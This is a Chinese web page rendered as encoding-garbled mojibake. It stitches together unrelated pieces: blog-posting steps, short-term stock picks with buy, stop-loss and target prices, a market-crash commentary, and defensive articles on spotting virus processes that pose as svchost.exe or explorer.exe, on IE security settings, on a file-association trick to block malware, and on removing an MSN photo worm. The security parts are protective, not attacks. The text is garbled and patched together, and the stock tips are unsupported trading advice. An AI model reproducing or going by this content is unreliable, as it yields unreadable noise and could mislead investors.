  1. ½øÈëÈÕÖ¾¡ú 2. µãдÈÕÖ¾ ¡ú 3. µãÈÕÖ¾±à¼­½çÃæµÄ<>°´Å¥¡ú  4. ¸´ÖÆÉÏÊöÓï·¨ááÕ³ÌùÉÏ¡ú

  5. ÔÙµã<>°´Å¥¡ú 6. ±à¼­ÄãµÄÈÕÖ¾¡ú  7. µã·¢±íÈÕÖ¾,¼´¿É¡£ 

ºê´ï¾­±à(002144):Âò½ø¼Û¸ñ,12.2Ôª×óÓÒÂò½ø,Ö¹Ëðλ12,Ä¿±ê¼Û¸ñ:14Ôª

 ±¦Ê¤¹É·Ý(600973):Âò½ø¼Û¸ñ,16.7Ôª×óÓÒÂò½ø,Ö¹Ëðλ14.5,Ä¿±ê¼Û¸ñ:18Ôª

 ÒÔÉ϶¼Îª¶ÌÏß²Ù×÷¹É,´ó¼Ò¹Ø×¢±¾ÖÜÄÚµÄÕÇ·ù,±¾ÖÜ´óÅÌ»áÓÐÒ»²¨Ç¿ÊÆ,²»´ú±íÑ¡¹É²»×¼,ֻ˵Ã÷ÕÆÎÕÐÐÇéÒÔ¼°¸ö¹É,Ä¿±ê¼Û¸ñ²»µ½,Çë²»ÒªÅ×,Ç뼰ʱ¹Ø×¢.

È«Çò¹ÉÊеø³ÉһƬ£º

½ñÌì´óÅ̵Ϳª19µã£¬Ëæºó´óÅÌ¿ªÊ¼Õðµ´ÏÂÐУ¬2900£¬2800Á¬Á¬±»µøÆÆ£¬ÅÌÖз´µ¯ÎÞÁ¦£¬Î²Å̸üÊÇ´ó·ùɱµø£¬×îÖÕ»¦ÊÐÊÕÓÚ2748.87µã£¬Ïµø192.24µã£¬³É½»Á¿Îª612.2ÒÚÔª£¬½Ï×òÈÕÃ÷ÏÔ¼õÉÙ¡£

´ÓKÏß¿´£¬´óÅÌÔÙ¶ÈʧÊØ5ÈÕÏߣ¬¶ÌÏßÏòÏ£¬MACDÏßÂÌÖù±ä³¤£¬ÖÐÏßÏòÏ£¬KDJÏßÔÙ¶ÈËÀ²æ£¬¶ÌÏßÏòÏ¡£

´Ó°å¿é¿´£¬´óÅÌÔÙ¶ÈÈ«Ïßϵø£¬Ã»ÓбíÏÖÍ»³öµÄ°å¿é£¬ÉÏÕǵĸö¹É½ö½ö63¼Ò£¬³öÏÖÆÕµøµÄ×ßÊÆ£¬À¶³ï°å¿é´¦ÓÚÁìµøµÄλÖ㬺óÊдóÅÌÔÚ·´µ¯ÎÞÁ¦µÄ×´¿öÏ£¬ÈÔÈ»»¹½«Ì½µ×¡£

´Ó²¨ÀË¿´£¬Ê×Ñ¡ÀËΪA5£¬´ÎÑ¡ÀËΪBÀË¡£Ê×Ñ¡ÀËÖУ¬´óÅ̽ñÈÕÔٶȱƽüÇ°Æڵ͵㣬²¢ÇÒµøÆÆ2811µÄÖ§³Å£¬ÏòϵÄ×ßÊƺÜÄѸı䣬´óÅÌ»¹½«×ß³ö×Ô3786µãÒÔÀ´µÄµÚ5ÀËϵø£¬´Óºê¹Û¿´£¬´óÅÌA5ÀË×îÖÕ¿ÉÄܵ½´ï2440µã£¬´ÓСÀË¿´£¬¿ÉÄܵ½2572µã£¬²»¹Ü×îÖյĵãλÈçºÎ£¬µøÆÆ2729µãÔÙ´Î̽µ×ÊÇÄ¿Ç°¶ÌÏßµÄ×ßÊÆ¡£´ÎÑ¡ÀËÖУ¬ËäÈ»´óÅ̵øÆÆÖ§³Å£¬µ«ÊÇûÓеøÆÆ2729µã£¬ËùÒÔÈÔÈ»´æÓÐÀíÂÛÉϵĿÉÄÜ£¬µøÆÆ2729µã¾Í²»³ÉÁ¢ÁË¡£.

ºóÊÐÔ¤²â£º

¡¡¡¡¹ã·¢Ö¤È¯£ºÓÉÓÚ¹ú¼ÊÓͼ۵ĻØÉý£¬ÃÀ¹ú¹ÉÊÐÔٶȴóµøÖØ»ØÈý¸öÔÂÀ´µÄµÍµã£¬ÖܱßÊг¡µÄ¶¯µ´¼Ó¾çÁËͶ×ÊÕßÀûÓ÷´µ¯¼õ²ÖµÄÒâÔ¸£¬Ê¹µÃ¹ÉÖ¸Ðγɵ¥±ßϱ߹ßÐÔ£¬Á½ÊÐÒѽ«×òÈÕ5%µÄÉý·ùÈ«²¿Ä¨È¥£¬µøÍ£µÄ¸ö¹É¸ß´ïÁ½°ÙÓà¼Ò£¬½ñÌìµÄ´óµøÒ²³öÓÚ×òÈÕÊ¢´«µÄÀûºÃ²¢Î´¶ÒÏÖ£¬Êг¡Ò»ÔٵĺöÊÓ×ÔÉíͶ×ʼÛÖµÕ¹¿ªµÄ·ÇÀíÐÔɱµøÒѾ­´ïµ½µÇ·åÔ켫µÄµØ²½£¬Ëä˵Êг¡ÓÀÔ¶ÊÇ´íµÄ£¬µ«Ò²´Ó²»»á¿÷´ýÀíÐÔ³¤ÆÚͶ×ÊÕߣ¬ÔÚÄ¿Ç°µãλɱµøδ±ØÊÇ×îºÃµÄÑ¡Ôñ¡£

¡¡¡¡ÁªºÏ֤ȯ£º¼¼ÊõÉÏ£¬ÉÏÖ¤Ö¸ÊýÈÔ´¦ÓÚ¶ÌÆÚϵø¼ÓËٽ׶Σ¬Ö§³ÅλÔÚ2780-2740µãÇøÓò¡£Èçµø´©»á²âÊÔ2690-2650µãÇøÓò¡£×èÁ¦Î»ÔÚ3120-3090µãÇøÓò¸½½ü¡£¹À¼ÆºóÊÐÈÔÕðµ´Æ«Èõ¡£²Ù×÷ÉÏ£¬ÒÔ¿ØÖƲÖλΪÖ÷£¬×¢Òâ¸ö¹É·çÏÕ¡£

¡¡¡¡»ãÑôͶ×Ê£º½ñÌìµÄ´ó·ùµ÷ÕûÕýʽ˵Ã÷×òÌìµÄÃÍÁÒÉÏÕǽö½öÊǼ¼ÊõÐÔ·´µ¯£¬´óÅ̱¾ÂÖµÄϵø·´Ó³µÄÊǶԺê¹Û¾­¼Ã¡¢ÍâΧ¹ÉÊÐ(ÃÀ¹ÉÏÖÔÚÈÔ´¦ÓÚϽµÍ¨µÀÖ®ÖÐ)µÈ¶àÖÖÒòËصĵ£ÐÄ£¬ÒѼ°Êг¡±¾ÉíÄÚÔÚµÄÔËÐйæÂɵÈÒòËØËùÖ£¬ºóÊÐÈç¹ûûÓÐʵÖÊÀûºÃµÄ´Ì¼¤£¬Êг¡»òÈÔ½«ÑØÔ­ÏȵÄÇ÷ÊÆÔËÐС£Òò´ËÏÖÔÚÊÇ×îÄÑ°¾µÄʱÆÚ£¬Í¶×ÊÕßÖ»ÓÐÇá²Ö¹ÛÍû¡£

Èκβ¡¶¾ºÍľÂí´æÔÚÓÚϵͳÖУ¬¶¼ÎÞ·¨³¹µ×ºÍ½ø³ÌÍÑÀë¹Øϵ£¬¼´Ê¹²ÉÓÃÁËÒþ²Ø¼¼Êõ£¬Ò²»¹ÊÇÄܹ»´Ó½ø³ÌÖÐÕÒµ½ÖëË¿Âí¼££¬Òò´Ë£¬²é¿´ÏµÍ³ÖлµÄ½ø³Ì³ÉΪÎÒÃǼì²â²¡¶¾Ä¾Âí×îÖ±½ÓµÄ·½·¨¡£µ«ÊÇϵͳÖÐͬʱÔËÐеĽø³ÌÄÇô¶à£¬ÄÄЩÊÇÕý³£µÄϵͳ½ø³Ì£¬ÄÄЩÊÇľÂíµÄ½ø³Ì£¬¶ø¾­³£±»²¡¶¾Ä¾Âí¼ÙðµÄϵͳ½ø³ÌÔÚϵͳÖÐÓÖ°çÑÝ×Åʲô½ÇÉ«ÄØ?Çë¿´±¾ÎÄ¡£

    Ò»¡¢²¡¶¾½ø³ÌÒþ²ØÈý·¨

    µ±ÎÒÃÇÈ·ÈÏϵͳÖдæÔÚ²¡¶¾£¬µ«ÊÇͨ¹ý¡°ÈÎÎñ¹ÜÀíÆ÷¡±²é¿´ÏµÍ³ÖеĽø³ÌʱÓÖÕÒ²»³öÒìÑùµÄ½ø³Ì£¬Õâ˵Ã÷²¡¶¾²ÉÓÃÁËһЩÒþ²Ø´ëÊ©£¬×ܽá³öÀ´ÓÐÈý·¨£º

    1.1 ÒÔ¼ÙÂÒÕæ

    ϵͳÖеÄÕý³£½ø³ÌÓУºsvchost.exe¡¢explorer.exe¡¢iexplore.exe¡¢winlogon.exeµÈ£¬¿ÉÄÜÄã·¢ÏÖ¹ýϵͳÖдæÔÚÕâÑùµÄ½ø³Ì£ºsvch0st.exe¡¢explore.exe¡¢iexplorer.exe¡¢winlogin.exe¡£¶Ô±Èһϣ¬·¢ÏÖÇø±ðÁËô?ÕâÊDz¡¶¾¾­³£Ê¹Óõļ¿Á©£¬Ä¿µÄ¾ÍÊÇÃÔ»óÓû§µÄÑÛ¾¦¡£Í¨³£ËüÃǻὫϵͳÖÐÕý³£½ø³ÌÃûµÄo¸ÄΪ0£¬l¸ÄΪi£¬i¸ÄΪj£¬È»ºó³ÉΪ×Ô¼ºµÄ½ø³ÌÃû£¬½ö½öÒ»×ÖÖ®²î£¬ÒâÒåÈ´ÍêÈ«²»Í¬¡£ÓÖ»òÕ߶àÒ»¸ö×Öĸ»òÉÙÒ»¸ö×Öĸ£¬ÀýÈçexplorer.exeºÍiexplore.exe±¾À´¾ÍÈÝÒ׸ã»ì£¬ÔÙ³öÏÖ¸öiexplorer.exe¾Í¸ü¼Ó»ìÂÒÁË¡£Èç¹ûÓû§²»×Ðϸ£¬Ò»°ã¾ÍºöÂÔÁË£¬²¡¶¾µÄ½ø³Ì¾ÍÌÓ¹ýÁËÒ»½Ù¡£

    1.2 ͵Áº»»Öù

    Èç¹ûÓû§±È½ÏÐÄϸ£¬ÄÇôÉÏÃæÕâÕоÍûÓÃÁË£¬²¡¶¾»á±»¾ÍµØÕý·¨¡£ÓÚÊǺõ£¬²¡¶¾Ò²Ñ§´ÏÃ÷ÁË£¬¶®µÃÁË͵Áº»»ÖùÕâÒ»ÕС£Èç¹ûÒ»¸ö½ø³ÌµÄÃû×ÖΪsvchost.exe£¬ºÍÕý³£µÄϵͳ½ø³ÌÃû·ÖºÁ²»²î¡£ÄÇôÕâ¸ö½ø³ÌÊDz»ÊǾͰ²È«ÁËÄØ?·ÇÒ²£¬ÆäʵËüÖ»ÊÇÀûÓÃÁË¡°ÈÎÎñ¹ÜÀíÆ÷¡±ÎÞ·¨²é¿´½ø³Ì¶ÔÓ¦¿ÉÖ´ÐÐÎļþÕâһȱÏÝ¡£ÎÒÃÇÖªµÀsvchost.exe½ø³Ì¶ÔÓ¦µÄ¿ÉÖ´ÐÐÎļþλÓÚ¡°C:WINDOWSsystem32¡±Ä¿Â¼ÏÂ(Windows2000ÔòÊÇC:WINNTsystem32Ŀ¼)£¬Èç¹û²¡¶¾½«×ÔÉí¸´ÖƵ½¡°C:WINDOWS¡±ÖУ¬²¢¸ÄÃûΪsvchost.exe£¬ÔËÐкó£¬ÎÒÃÇÔÚ¡°ÈÎÎñ¹ÜÀíÆ÷¡±Öп´µ½µÄÒ²ÊÇsvchost.exe£¬ºÍÕý³£µÄϵͳ½ø³ÌÎÞÒì¡£ÄãÄܱæ±ð³öÆäÖÐÄÄÒ»¸öÊDz¡¶¾µÄ½ø³ÌÂð?

    1.3 ½èʬ»¹»ê

    ³ýÁËÉÏÎÄÖеÄÁ½ÖÖ·½·¨Í⣬²¡¶¾»¹ÓÐÒ»ÕÐÖÕ¼«********½èʬ»¹»ê¡£ËùνµÄ½èʬ»¹»ê¾ÍÊDz¡¶¾²ÉÓÃÁ˽ø³Ì²åÈë¼¼Êõ£¬½«²¡¶¾ÔËÐÐËùÐèµÄdllÎļþ²åÈëÕý³£µÄϵͳ½ø³ÌÖУ¬±íÃæÉÏ¿´ÎÞÈκοÉÒÉÇé¿ö£¬ÊµÖÊÉÏϵͳ½ø³ÌÒѾ­±»²¡¶¾¿ØÖÆÁË£¬³ý·ÇÎÒÃǽèÖúרҵµÄ½ø³Ì¼ì²â¹¤¾ß£¬·ñÔòÒªÏë·¢ÏÖÒþ²ØÔÚÆäÖеIJ¡¶¾ÊǺÜÀ§Äѵġ£

    ¶þ¡¢ÏµÍ³½ø³Ì½â»ó

    ÉÏÎÄÖÐÌáµ½Á˺ܶàϵͳ½ø³Ì£¬ÕâЩϵͳ½ø³Ìµ½µ×ÓкÎ×÷Óã¬ÆäÔËÐÐÔ­ÀíÓÖÊÇʲô?ÏÂÃæÎÒÃǽ«¶ÔÕâЩϵͳ½ø³Ì½øÐÐÖðÒ»½²½â£¬ÏàÐÅÔÚÊìÖªÕâЩϵͳ½ø³Ìºó£¬¾ÍÄܳɹ¦Æƽⲡ¶¾µÄ¡°ÒÔ¼ÙÂÒÕ桱ºÍ¡°ÍµÁº»»Öù¡±ÁË¡£

    2.1 svchost.exe

    ³£±»²¡¶¾Ã°³äµÄ½ø³ÌÃûÓУºsvch0st.exe¡¢schvost.exe¡¢scvhost.exe¡£Ëæ×ÅWindowsϵͳ·þÎñ²»¶ÏÔö¶à£¬ÎªÁ˽Úʡϵͳ×ÊÔ´£¬Î¢Èí°ÑºÜ¶à·þÎñ×ö³É¹²Ïí·½Ê½£¬½»ÓÉsvchost.exe½ø³ÌÀ´Æô¶¯¡£¶øϵͳ·þÎñÊÇÒÔ¶¯Ì¬Á´½Ó¿â(DLL)ÐÎʽʵÏֵģ¬ËüÃÇ°Ñ¿ÉÖ´ÐгÌÐòÖ¸Ïòscvhost£¬ÓÉcvhostµ÷ÓÃÏàÓ¦·þÎñµÄ¶¯Ì¬Á´½Ó¿âÀ´Æô¶¯·þÎñ¡£ÎÒÃÇ¿ÉÒÔ´ò¿ª¡°¿ØÖÆÃæ°å¡±¡ú¡°¹ÜÀí¹¤¾ß¡±¡ú·þÎñ£¬Ë«»÷ÆäÖС°ClipBook¡±·þÎñ£¬ÔÚÆäÊôÐÔÃæ°åÖпÉÒÔ·¢ÏÖ¶ÔÓ¦µÄ¿ÉÖ´ÐÐÎļþ·¾¶Îª¡°C:WINDOWSsystem32clipsrv.exe¡±¡£ÔÙË«»÷¡°Alerter¡±·þÎñ£¬¿ÉÒÔ·¢ÏÖÆä¿ÉÖ´ÐÐÎļþ·¾¶Îª¡°C:WINDOWSsystem32svchost.exe -k LocalService¡±£¬¶ø¡°Server¡±·þÎñµÄ¿ÉÖ´ÐÐÎļþ·¾¶Îª¡°C:WINDOWSsystem32svchost.exe -k netsvcs¡±¡£ÕýÊÇͨ¹ýÕâÖÖµ÷Ó㬿ÉÒÔʡϲ»ÉÙϵͳ×ÊÔ´£¬Òò´ËϵͳÖгöÏÖ¶à¸ösvchost.exe£¬ÆäʵֻÊÇϵͳµÄ·þÎñ¶øÒÑ¡£

    ÔÚWindows2000ϵͳÖÐÒ»°ã´æÔÚ2¸ösvchost.exe½ø³Ì£¬Ò»¸öÊÇRPCSS(RemoteProcedureCall)·þÎñ½ø³Ì£¬ÁíÍâÒ»¸öÔòÊÇÓɺܶà·þÎñ¹²ÏíµÄÒ»¸ösvchost.exe;¶øÔÚWindowsXPÖУ¬ÔòÒ»°ãÓÐ4¸öÒÔÉϵÄsvchost.exe·þÎñ½ø³Ì¡£Èç¹ûsvchost.exe½ø³ÌµÄÊýÁ¿¶àÓÚ5¸ö£¬¾ÍҪСÐÄÁË£¬ºÜ¿ÉÄÜÊDz¡¶¾¼ÙðµÄ£¬¼ì²â·½·¨Ò²ºÜ¼òµ¥£¬Ê¹ÓÃһЩ½ø³Ì¹ÜÀí¹¤¾ß£¬ÀýÈçWindowsÓÅ»¯´óʦµÄ½ø³Ì¹ÜÀí¹¦ÄÜ£¬²é¿´svchost.exeµÄ¿ÉÖ´ÐÐÎļþ·¾¶£¬Èç¹ûÔÚ¡°C:WINDOWSsystem32¡±Ä¿Â¼Í⣬ÄÇô¾Í¿ÉÒÔÅж¨ÊDz¡¶¾ÁË¡£

    2.2 explorer.exe

    ³£±»²¡¶¾Ã°³äµÄ½ø³ÌÃûÓУºiexplorer.exe¡¢expiorer.exe¡¢explore.exe¡£explorer.exe¾ÍÊÇÎÒÃǾ­³£»áÓõ½µÄ¡°×ÊÔ´¹ÜÀíÆ÷¡±¡£Èç¹ûÔÚ¡°ÈÎÎñ¹ÜÀíÆ÷¡±Öн«explorer.exe½ø³Ì½áÊø£¬ÄÇô°üÀ¨ÈÎÎñÀ¸¡¢×ÀÃæ¡¢ÒÔ¼°´ò¿ªµÄÎļþ¶¼»áͳͳÏûʧ£¬µ¥»÷¡°ÈÎÎñ¹ÜÀíÆ÷¡±¡ú¡°Îļþ¡±¡ú¡°Ð½¨ÈÎÎñ¡±£¬ÊäÈë¡°explorer.exe¡±ºó£¬ÏûʧµÄ¶«Î÷ÓÖÖØлØÀ´ÁË¡£explorer.exe½ø³ÌµÄ×÷ÓþÍÊÇÈÃÎÒÃǹÜÀí¼ÆËã»úÖеÄ×ÊÔ´¡£

    explorer.exe½ø³ÌĬÈÏÊǺÍϵͳһÆðÆô¶¯µÄ£¬Æä¶ÔÓ¦¿ÉÖ´ÐÐÎļþµÄ·¾¶Îª¡°C:Windows¡±Ä¿Â¼£¬³ý´ËÖ®ÍâÔòΪ²¡¶¾¡£

¶ñÒâÍøÒ³³ÉÁË¿í´øµÄ×î´óÍþв֮һ¡£ÒÔǰʹӿModem£¬ÒòΪ´ò¿ªÍøÒ³µÄËÙ¶ÈÂý£¬ÔÚÍêÈ«´ò¿ªÇ°¹Ø±Õ¶ñÒâÍøÒ³»¹ÓбÜÃâÖÐÕеĿÉÄÜÐÔ¡£ÏÖÔÚ¿í´øµÄËÙ¶ÈÕâô¿ì£¬ËùÒÔºÜÈÝÒ׾ͱ»¶ñÒâÍøÒ³¹¥»÷¡£ 

Ò»°ã¶ñÒâÍøÒ³¶¼ÊÇÒòΪ¼ÓÈëÁËÓñàдµÄ¶ñÒâ´úÂë²ÅÓÐÆÆ»µÁ¦µÄ¡£ÕâЩ¶ñÒâ´úÂë¾ÍÏ൱ÓÚһЩС³ÌÐò£¬Ö»Òª´ò¿ª¸ÃÍøÒ³¾Í»á±»ÔËÐС£ËùÒÔÒª±ÜÃâ¶ñÒâÍøÒ³µÄ¹¥»÷Ö»Òª½ûÖ¹ÕâЩ¶ñÒâ´úÂëµÄÔËÐоͿÉÒÔÁË¡£ 

ÔËÐÐIEä¯ÀÀÆ÷£¬µã»÷¡°¹¤¾ß/InternetÑ¡Ïî/°²È«/×Ô¶¨Ò弶±ð¡±£¬½«°²È«¼¶±ð¶¨ÒåΪ¡°°²È«¼¶-¸ß¡±£¬¶Ô¡°ActiveX¿Ø¼þºÍ²å¼þ¡±ÖеÚ2¡¢3ÏîÉèÖÃΪ¡°½ûÓá±£¬ÆäËüÏîÉèÖÃΪ¡°Ìáʾ¡±£¬Ö®ºóµã»÷¡°È·¶¨¡±¡£ÕâÑùÉèÖú󣬵±ÄãʹÓÃIEä¯ÀÀÍøҳʱ£¬¾ÍÄÜÓÐЧ±ÜÃâ¶ñÒâÍøÒ³ÖжñÒâ´úÂëµÄ¹¥»÷¡£

ÓдÎÅóÓѵçÄÔÖÐÁ˲¡¶¾£¬ÎÒÈ¥¿´ÁËһϣ¬ÊǸöQQ²¡¶¾£¬ÓÉÓÚͦ³¤Ê±¼äûÓÐÉÏÍøËѼ¯²¡¶¾·½ÃæÏûÏ¢ÁË£¬ÎÒ¶ÔÕâЩ²¡¶¾µÄÌØÐÔÒ²²»ÉõÁ˽⡣ÎÒÏÈ´ò¿ª¡°½ø³Ì¹ÜÀíÆ÷¡±£¬½«¼¸¸ö²»Ì«ÊìϤµÄ³ÌÐò¹Ø±Õµô£¬µ«¸Õ¹ØµôÒ»¸ö£¬ÔÙÈ¥¹Ø±ÕÁíÍâÒ»¸öʱ£¬¸Õ²Å¹Ø±ÕµÄÄǸöÂíÉÏÓÖÔËÐÐÁË¡£Ã»°ì·¨£¬ÎÒ¾ö¶¨´Ó×¢²á±íÀïÏÈ°ÑÆô¶¯Ïîɾ³ýºó£¬ÔÙÖØÆôÊÔÊÔ£¬½á¹û£¬ÎÒ¸Õ°ÑÄÇЩÆô¶¯Ïîɾ³ý£¬È»ºóË¢ÐÂÒ»ÏÂ×¢²á±í£¬ÄÇЩÆô¶¯ÏîÓÖ»¹Ô­ÁË£¬¿´À´Ò»°ãµÄ·½·¨ÊÇÐв»Í¨ÁË£¬ÉÏÍøÏÂÔØרɱ¹¤¾ßºó£¬ÈÔÈ»²»ÄÜɱµô¡£ÎÒÖªµÀÕâÊÇÒòΪ²¡¶¾ÕýÔÚÔËÐУ¬ËùÒÔÎÞ·¨É¾³ý¡£

ÓÉÓÚÕą̂µçÄÔÖ»ÓÐÒ»¸ö²Ù×÷ϵͳ£¬Ò²Ã»°ì·¨ÔÚÁíÒ»¸öϵͳÏÂɾ³ýÕâЩ²¡¶¾£¬ÕâʱÔõô°ìÄØ£¿Èç¹û´ó¼ÒÒ²Óöµ½ÕâÖÖÇé¿öʱ£¬ÎÒÏò´ó¼ÒÍƼöÒ»ÖÖ·½·¨¡£

µÚÒ»²½£ºÔÚ¡°¿ªÊ¼¡úÔËÐС±ÖÐÊäÈëCMD£¬´ò¿ª¡°ÃüÁîÌáʾ·û¡±´°¿Ú¡£

µÚ¶þ²½£ºÊäÈëftype exefile=notepad.exe %1£¬Õâ¾ä»°µÄÒâ˼Êǽ«ËùÓеÄEXEÎļþÓá°¼Çʱ¾¡±´ò¿ª¡£ÕâÑùÔ­À´µÄ²¡¶¾¾ÍÎÞ·¨Æô¶¯ÁË¡£

µÚÈý²½£ºÖØÆôµçÄÔ£¬Äã»á¿´¼û´ò¿ªÁËÐí¶à¡°¼Çʱ¾¡±¡£µ±È»£¬ÕâÆäÖв»½öÓв¡¶¾Îļþ£¬»¹ÓÐһЩԭÀ´µÄϵͳÎļþ£¬±ÈÈ磺ÊäÈë·¨³ÌÐò¡£

µÚËIJ½£ºÓÒ»÷ÈκÎÎļþ£¬Ñ¡Ôñ¡°´ò¿ª·½Ê½¡±£¬È»ºóµã»÷¡°ä¯ÀÀ¡±£¬×ªµ½Windows\System32Ï£¬Ñ¡Ôñcmd.exe£¬ÕâÑù¾Í¿ÉÒÔÔٴδò¿ª¡°ÃüÁîÌáʾ·û¡±´°¿Ú¡£

µÚÎå²½£ºÔËÐÐftype exefile=%1 %*£¬½«ËùÓеÄEXEÎļþ¹ØÁª»¹Ô­¡£ÏÖÔÚÔËÐÐɱ¶¾Èí¼þ»òÖ±½Ó¸Ä»Ø×¢²á±í£¬¾Í¿ÉÒÔɱµô²¡¶¾ÁË¡£

µÚÁù²½£ºÔÚÿһ¸ö¡°¼Çʱ¾¡±ÖУ¬µã»÷²Ëµ¥Öеġ°Îļþ¡úÁí´æΪ¡±£¬¾Í¿É¿´µ½ÁË·¾¶ÒÔ¼°ÎļþÃûÁË¡£ÕÒµ½²¡¶¾Îļþ£¬ÊÖ¶¯É¾³ý¼´¿É£¬µ«µÃСÐÄ£¬±ØÐëÈ·¶¨ÄÇÊDz¡¶¾²ÅÄÜɾ³ý¡£½¨Ò齫ÕâЩÎļþ¸ÄÃû²¢¼ÇÏ£¬ÖØÆôºó£¬Èç¹ûûÓв¡¶¾×÷¹Ö£¬Ò²Ã»ÓÐϵͳÎÊÌ⣬ÔÙ½øÐÐɾ³ý£¬

¡ô×îºó½éÉÜÒ»ÏÂFtypeµÄÓ÷¨

ÔÚWindowsÖУ¬FtypeÃüÁîÓÃÀ´ÏÔʾ¼°Ð޸IJ»Í¬À©Õ¹ÃûÎļþËù¹ØÁªµÄ´ò¿ª³ÌÐò¡£Ï൱ÓÚÔÚ×¢²á±í±à¼­Æ÷ÖÐÐ޸ġ°HKEY_CLASSES_ROOT¡±ÏîϵIJ¿·ÖÄÚÈÝÒ»Ñù¡£

FtypeµÄ»ù±¾Ê¹ÓøñʽΪ£ºFtype [ÎļþÀàÐÍ[=[´ò¿ª·½Ê½/³ÌÐò]]]

±ÈÈ磺ÏñÉÏÀýÖеÄftype exefile=notepad.exe %1£¬±íʾ½«ËùÓÐÎļþÀàÐÍΪEXE(exefile±íʾΪEXEÀàÐÍÎļþ)µÄÎļþ¶¼Í¨¹ý¡°¼Çʱ¾¡±³ÌÐò´ò¿ª£¬ºóÃæµÄ%1±íʾҪ´ò¿ªµÄ³ÌÐò±¾Éí(¾ÍÊÇË«»÷ʱµÄÄǸö³ÌÐò)¡£

ftype exefile=%1 %*Ôò±íʾËùÓÐEXEÎļþ±¾ÉíÖ±½ÓÔËÐÐ(EXE ¿ÉÒÔÖ±½ÓÔËÐУ¬ËùÒÔÓñíʾ³ÌÐò±¾ÉíµÄ%1¼´¿É)£¬ºóÃæµÄ%*Ôò±íʾ³ÌÐòÃüÁîºó´øµÄËùÓвÎÊý(Õâ¾ÍÊÇΪʲôEXEÎļþ¿ÉÒÔ´ø²ÎÊýÔËÐеÄÔ­Òò)¡£

½üÆÚÓöµ½Ò»¸öͨ¹ýMSN¿ìËÙ´«²¥µÄÈä³æ²¡¶¾¿ªÊ¼ÔÚÍøÂçÉÏËÁÅ°£¬Öж¾µçÄÔ»áÏòMSNºÃÓÑ·è¿ñ·¢ËÍÀ¬»øÏûÏ¢£¬ºÍÒ»¸öÃûΪPhotos.zipµÄѹËõ°ü£¬Óû§½ÓÊÜÔËÐкó¾Í»áÖж¾¡£²¡¶¾·¢Ë͵ÄÏûÏ¢ÉõÖÁ²ÉÓÃÁ˶àÖÖÓïÑÔ£¬ÒÔ¼ÓÇ¿×Ô¼ºµÄ¡°È«Çò´«²¥ÄÜÁ¦¡±¡£¸Ã²¡¶¾ÔÚÅ·ÃÀ¹ú¼ÒÁ÷¶¾ºÜ¹ã£¬´óÔ¼ÔÚ6ÔÂ1ÈÕ´«ÈëÎÒ¹ú£¬Ôì³ÉÐí¶àÓû§Êܺ¦¡£

¡¡¡¡¸Ã²¡¶¾±»ÈðÐǽػñºó£¬ÃüÃûΪ¡°MSNÏàƬ£¨Worm.mail.photocheat.a£©¡±£¬¸ù¾Ý²»Íêȫͳ¼Æ£¬½öÔÚ6ÔÂ1ÈÕµ±Ì죬¾ÍÔì³ÉÊýÍòÈËÖÐÕС£Öж¾µçÄÔ»áÏòÍâ·¢ËÍ¡°Here are my private pictures for you£¨ÕâÊÇÎÒµÄ˽ÃÜÕÕƬ£©¡±¡¢¡° its only my photos£¡£¨ÕâÊÇÎÒµÄÕÕƬ£©¡±¡¢¡°c'est seulement mes tof £ºp¡±µÈÏûÏ¢¡£ÕâЩÏûÏ¢¹²Óм¸Ê®Ìõ£¬²¡¶¾»áËæ»úÏòÍâ·¢ËÍ¡£

¡¡¡¡Çå³ý¸Ã²¡¶¾Ö÷Òª·ÖΪÁ½²½£ºÇå³ý×¢²á±í¼üÖµ£¬Ê¹ÆäÎÞ·¨ËæϵͳÆô¶¯£»È»ºóɾ³ý²¡¶¾ÊͷŵÄÎļþ£¬³¹µ×Ìß³öµçÄÔ¡£

¡¡¡¡µÚÒ»²½£ºÇå³ý×¢²á±í

¡¡¡¡µã»÷¡°¿ªÊ¼¡úÔËÐСúregedit.exe¡±£¬Æô¶¯×¢²á±í±à¼­Æ÷¡£´ò¿ª

¡¡¡¡HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoadÏÕÒµ½ÃûΪ¡°syshosts¡±µÄÏî²¢½«Æäɾ³ý£¬É¾³ýÇ°½«ÆäÖµ¼Ç¼ÏÂÀ´¡£

¡¡¡¡Ð¡Ìáʾ£ºÕâ¸öÖµÓɲ¡¶¾Ëæ»ú²úÉú£¬Ã¿Ì¨µçÄÔ»áÓÐËù²»Í¬¡£

¡¡¡¡´ò¿ª×¢²á±íÖеÄHKEY_CLASSES_ROOT\CLSIDÏÕÒµ½¸Õ¸Õ¼Ç¼ÏµÄÏîÄ¿£¨¸Õ²Å¼Ç¼µÄÄǸöÖµ£©£¬½«Æäɾ³ý£¬ÖØÐÂÆô¶¯¼ÆËã»ú¡£

¡¡¡¡µÚ¶þ²½£ºÇå³ý²¡¶¾Îļþ

¡¡¡¡µã»÷¡°ÎҵĵçÄÔ¡ú¹¤¾ß¡úÎļþ¼ÐÑ¡Ïî¡ú²é¿´¡±£¬Ñ¡ÔñÏÔʾËùÓÐÎļþ£¬ÏÔʾ²Ù×÷ϵͳÎļþ£¬ÏÔʾËùÓÐÎļþµÄÀ©Õ¹Ãû¡£

¡¡¡¡½øÈëWindowsϵͳÎļþ¼Ð£¨Ä¬ÈÏΪC£º\Windows£©£¬ÕÒµ½ÃûΪ¡°photos.zip¡±µÄÎļþ£¬½«Æäɾ³ý¡£½øÈëϵͳÎļþ¼Ð£¨Ä¬ÈÏΪC£º\Windows\system32£©£¬ÕÒµ½ÃûΪ¡°syshosts.dll¡±µÄÎļþ£¬½«Æäɾ³ý¡£ÔÙ´ÎÖØÐÂÆô¶¯¼ÆËã»ú£¬²é¿´ÕâÁ½¸öÎļþÊÇ·ñ´æÔÚ£¬Èô²»´æÔÚ£¬Ôò˵Ã÷²¡¶¾ÒѾ­±»Çå³ý¸É¾»¡£

